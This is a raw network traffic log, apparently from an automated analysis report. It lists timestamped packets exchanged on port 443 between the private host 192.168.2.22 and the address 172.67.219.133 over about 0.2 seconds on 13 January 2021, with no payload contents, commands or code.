Jan 13, 2021 13:44:56.664786100 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.664822102 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.664871931 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.664895058 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.665730953 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.665780067 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.665822029 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.665839911 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.666650057 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.666695118 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.666723013 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.666733027 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.666795969 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.667758942 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.667799950 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.667835951 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.667860031 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.668571949 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.668611050 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.668638945 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.668648958 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.668699980 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.669564962 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.669604063 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.669651985 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.669666052 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.670557022 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.670597076 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.670614958 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.670633078 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.670679092 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.702872038 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.702931881 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.702961922 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.703170061 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.703198910 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.703216076 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.703254938 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.703366041 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.705091000 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.705133915 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.705172062 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.705267906 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.705976963 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706016064 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706063032 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706085920 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.706480980 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706522942 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706563950 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.706583977 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.706618071 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.708245993 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708293915 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708337069 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708417892 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.708761930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708805084 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708842993 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.708861113 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.708937883 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.709678888 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.709719896 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.709762096 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.709794044 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.710570097 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.710613966 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.710650921 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.710683107 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.710730076 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.711576939 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.711620092 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.711658001 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.711684942 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.712479115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.712515116 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.712551117 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.712562084 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.712773085 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.713444948 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.713486910 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.713522911 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.713536978 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.714453936 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.714495897 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.714508057 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.714525938 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.714571953 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.755141020 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755187035 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755214930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755270958 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.755503893 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755570889 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755598068 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755615950 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.755623102 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.755701065 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.756603003 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.756639004 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.756671906 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.756726980 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.757489920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.757525921 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.757556915 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.757606030 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.758469105 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.758503914 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.758534908 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.758577108 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.759366035 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.759398937 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.759430885 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.759449959 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.760437965 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.760476112 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.760498047 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.760507107 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.760551929 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.761307001 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.761342049 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.761373997 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.761395931 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.762247086 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.762299061 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.762311935 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.762334108 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.762387037 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.763298988 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.763334036 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.763364077 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.763411045 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.764208078 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.764242887 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.764273882 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.764322042 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.765156984 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.765192986 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.765222073 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.765275002 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.766161919 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.766211987 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.766225100 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.766254902 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.766376019 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.767103910 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.767146111 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.767184019 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.767209053 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.768069029 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.768111944 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.768121004 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.768151045 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.768214941 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.769052029 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.769095898 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.769134045 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.769146919 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.769988060 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.770031929 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.770087957 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.770101070 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.770982981 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771022081 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771060944 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771073103 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.771882057 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771919966 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771965981 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.771974087 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.772953033 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.772994041 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.773020983 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.773030043 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.773173094 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.773843050 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.773884058 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.773921967 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.773938894 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.774785995 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.774823904 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.774871111 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.774873972 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.774915934 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.775744915 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.775784016 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.775823116 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.775829077 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.776729107 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.776771069 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.776803970 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.776809931 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.776854992 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.777666092 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.777705908 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.777753115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.777759075 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.778616905 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.778655052 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.778702974 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.778716087 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.779696941 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.779736042 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.779771090 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.779786110 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.780600071 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.780648947 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.780692101 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.780704975 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.781510115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.781547070 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.781583071 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.781594992 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.782485008 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.782521963 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.782543898 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.782560110 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.782603025 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.783438921 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.783478975 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.783515930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.783545017 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.784389019 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.784429073 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.784446955 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.784466982 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.784507036 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.785451889 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.785490990 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.785528898 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.785542011 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.786348104 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.786398888 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.786406994 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.786442041 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.786489010 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.787269115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.787311077 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.787347078 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.787400007 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.788219929 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.788258076 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.788305044 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.788358927 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.789194107 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.789235115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.789272070 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.789294958 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.790177107 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.790215015 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.790270090 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.790272951 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.791208982 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.791264057 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.791271925 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.791325092 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.791378975 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.792172909 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.792243004 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.792305946 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.792341948 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.793082952 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.793133020 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.793181896 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.793265104 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.793313026 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.794075966 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.794128895 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.794176102 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.794179916 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.795073986 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.795110941 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.795125008 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.795149088 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.795209885 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.795947075 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.795995951 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.796036959 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.796093941 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.796933889 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.796974897 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.797010899 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.797066927 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.797897100 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.797935963 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.797972918 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.797988892 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.798887968 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.798926115 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.798974037 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.799011946 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.799813032 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.799853086 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.799886942 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.799889088 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.800040007 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.800828934 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.800874949 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.800925016 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.800929070 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.801748037 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.801804066 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.801826000 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.801888943 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.801942110 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.802730083 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.802769899 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.802833080 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.802835941 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.803688049 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.803731918 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.803738117 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.803771019 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.803824902 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.804630995 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.804682016 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.804716110 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.804747105 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.805532932 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.805566072 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.805593967 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.805618048 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.806514978 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.806545973 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.806575060 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.806607962 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.807524920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.807554960 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.807590961 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.807634115 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.808413982 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.808490992 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.861557961 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861619949 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861738920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861740112 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.861779928 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861848116 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.861860991 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861927986 CET	443	49193	172.67.219.133	192.168.2.22
